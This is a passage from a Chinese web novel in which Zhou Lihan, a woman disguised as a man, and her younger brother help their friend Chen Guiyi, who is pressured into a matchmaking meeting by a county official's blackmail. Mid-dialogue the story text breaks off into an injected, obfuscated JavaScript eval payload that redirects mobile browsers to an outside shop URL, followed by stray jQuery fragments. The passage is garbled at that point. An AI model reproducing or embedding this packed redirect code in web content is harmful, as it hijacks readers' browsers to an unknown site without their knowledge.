周立寒呃了声,打哈哈道:“开玩笑的,总之就是你可以对我们有点感动,但也不用很多。我知道你想信任我们,但这样足够了,你也该为自己保留一点秘密。”
“兄长不必安慰我,能听到这些话我很高兴,真的。”周庭霄却道,笑眼闪着星星,“兄长坦荡,我心乐之。”
“行了行了,以后说话别这么文绉绉的,我家是小老百姓。”周立寒移开视线说,“陈姨下午给你烤药了?那今晚就不能洗澡了,回去直接睡吧。”
“兄长,今夜较潮较寒,你别睡地上了。”
“咋的,那你睡地铺?”
“一起睡床上。”
一说到这个,周立寒就来气:“滚,上次我不小心在床上睡着,你没把我叫醒,还直接躺在我旁边睡了的事我还没算账呢。”
周庭霄理直气壮:“那夜看兄长太累,我实在不忍心叫醒。”
“得了,我出去挂树上睡。”
“树上也潮,说不定还有霜。”
“哟,小少爷也知道会下霜啊。”
“兄长,我是小老百姓。”
“……”
周立寒最终没拗过他,回家洗漱完处理完伤,在周庭霄“兄长不来睡床我就一直不睡”的眼神下妥协了。
反正今天还没来癸水,问题不大,就是该赶紧想想搞钱扩建了。
……
……
次日周立寒沐休,总算不用起个大早上职。
周庭霄醒后小心翼翼地跨过她下床,看见还在熟睡的兄长,莫名生出一丝欣慰感。
但很快他发现了一个不太欣慰的问题——
没早膳吃。
也不晓得兄长还要睡多久。
周庭霄决定到屋子外走走,来了这么多天,都还没能了解一下这片地方。
“噫,这是谁家的小男娃,”路过一户出来溪边洗衣服的妇人,讶异地看向他,“这样面生,迷路走错啦?”
周庭霄很乐意介绍自己的身份,笑道:“回夫……大娘,我是周郎君的弟弟,昨日从漳城来。”
“喔,周小官人的弟弟啊!”妇人顿时笑开,好像听到周郎君三个字就释放出莫大的善意。
“怪不得,和你兄长是一样样的俊……小郎君食早饭没?大娘家有米果和灯盏糕,拿些去食吧!”
周庭霄想,刚好兄长没起来做饭,自己也不会做,带现成的回去岂不是正好?这样不仅自己不会饿,兄长醒来也马上有得吃。
“那太好了,多谢大娘。”
“不用谢,瞧你这瘦的,和你那兄长又是一样样,多拿些去……”
周庭霄带着收获回到家里,周立寒还没醒。
周庭霄正纠结到底是自己先吃还是等兄长醒了一起吃,这时屋外远远就传来一阵疾驰的马蹄声和少女的娇喝声。
少女与马在他们屋前停下。
“周立寒!”
少女人未到声先至,风风火火地进了里屋,在床边站定:“快起来,我中午要去跟人相看了!”
被窝里的周立寒毫无反应,仍呼吸平稳地睡着。
周庭霄微一愣眼,随即低声道:“陈姐姐,兄长今日沐休,难得能睡个懒觉。”
“怕什么,沐休又不是就一天。”陈瑰意急得直瞪眼,伸手拉扯被子。
“快起来!县丞逼我去跟他儿子相看,再不起来你就见不到我了!”
周立寒翻个身,把被子卷回去,模模糊糊地嗯了声,“百年好合,早生贵子。”
陈瑰意:“……。”
憋紫了脸,她坏笑一声,再次开口大喊:“救命啊!快来抓人贩子啦——”
本还熟睡的周立寒登时两眼睁大,一个鲤鱼跃龙门蹦跶起来,“在哪?!”
周庭霄:“……。”
兄长,要不要这么敬业啊。
周立寒先是四顾一圈,看清这是自家的小破屋,面前站着淡定的周庭霄和叉腰的陈瑰意,反应过来后很是无语。
“相看就相看啊,我不都说了百年好合早生贵子吗?”她白了陈瑰意一眼,跌回床上打算继续睡。
“生个头,要生你生,我才不要嫁人。”陈瑰意拽住她,“尤其是那个县丞家的,妥妥一普信男,嫁他我不如当尼姑!”
“那你去当尼姑吧。”
“?你说什么?”
“我说,普信男是什么?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14193684|150765||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
“普通而自信,明明其貌不扬才华平庸反正全身上下都很平平无奇,但有迷之自信,觉得自己举世无双。”
周立寒眉头一挑:“你怎么知道人家全身上下都平平无奇?”
“这不是一看就知…呸,你想什么勾八。”陈瑰意气得拧她耳朵,“你再不正经,我就放话说跟你已经生米成熟饭,不能另嫁了!”
周立寒一个激灵:“别别姑奶奶,算我怕了你了……相看就相看啊,不喜欢你就推掉嘛,陈姨还是很开明的。”
陈瑰意苦着脸:“县丞手里有一些我娘的旧账,除非他儿子相看完自己说不喜欢我,否则如果我拒绝,我娘可能会有麻烦。”
“什么?陈姨因为有把柄在县丞手上,所以送你去跟人儿子相看?”周立寒掏了掏耳朵。
“不是,是县丞儿子先提出想娶我,然后县丞来了封信,暗示手里有我娘的把柄。”
陈瑰意掏出那封信,眼睛还有点红,“那封信今天清早到的,我一看到就过来找你了,我娘还不知道。”
“……,”周立寒看完那封信,拍拍她的肩叹口气,“难为你了。”
陈瑰意绷不住落泪了:“所以你说我怎么办啊?中午相看,我怎么让人讨厌我啊?”
周立寒小声逼逼:“你正常来就挺讨人厌的……”
“啥你又说啥?”
“我说,你就跟他唱反调呗,他往东你偏往西。”
陈瑰意哭中干笑:“这对他不管用,我之前在其他场合跟他打过交道,那时候就已经跟他反着来了,结果你猜怎么着,他对我更感兴趣了。”
“……,”周立寒一噎,“那你就一直把天聊死,让他觉得你无趣。”
“我也有这个打算,但不敢保证完全有效。”
“那……你扮丑?”
“也考虑过,但也不敢保证,因为我之前见到他的时候已经满脸痘了。”
“……。”
周庭霄在旁静静听着,见二人都沉默下来,方端着下巴开口道:“既然县丞以把柄要挟陈大夫和陈姐姐,那他自身有没有把柄可以抓?”
“……,”周立寒听罢盯着他片刻,突然猛的一拍大腿。